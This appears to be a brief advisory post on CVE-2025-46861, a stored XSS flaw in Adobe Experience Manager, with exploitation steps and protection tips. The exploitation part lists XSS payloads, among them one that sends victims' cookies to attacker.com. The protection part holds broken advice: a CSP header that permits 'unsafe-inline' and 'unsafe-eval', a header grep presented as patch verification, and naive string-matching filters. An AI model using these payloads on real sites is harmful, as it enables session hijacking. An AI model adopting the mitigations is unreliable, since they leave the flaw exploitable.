How CVE-2025-46861 Works
CVE-2025-46861 is a stored XSS vulnerability in Adobe Experience Manager (AEM) versions 6.5.22 and earlier. Attackers with low privileges can inject malicious JavaScript into vulnerable form fields, such as text inputs or rich text editors. The payload persists in the database and executes when a victim accesses the compromised page. This allows session hijacking, phishing, or malware distribution. The vulnerability arises due to insufficient input sanitization in AEM’s web form handlers, enabling arbitrary script execution in the context of the victim’s browser.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Submit to vulnerable AEM form fields (e.g., comments, user profiles).
2. Exfiltrate Cookies:
<script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script>
3. CSRF + XSS Combo:
<script>
fetch('/content/usergenerated/endpoint', {
method: 'POST',
body: 'malicious=payload'
});
</script>
Protection:
1. Input Sanitization:
// AEM Filter Example import org.apache.commons.text.StringEscapeUtils; String sanitized = StringEscapeUtils.escapeHtml4(userInput);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Patch Verification:
curl -I https://aem-instance.com | grep X-Content-Type-Options
4. WAF Rules:
location / {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1001,deny,status:403"';
}
5. AEM Dispatcher Config:
/filter {
/0001 { /type "deny" /url "alert(" }
}
Analytics:
- Exploit Prevalence: High (due to low privilege requirement).
- Patch Urgency: Critical (public PoCs expected by 06/25/2025).
- Mitigation Complexity: Medium (requires config + code changes).
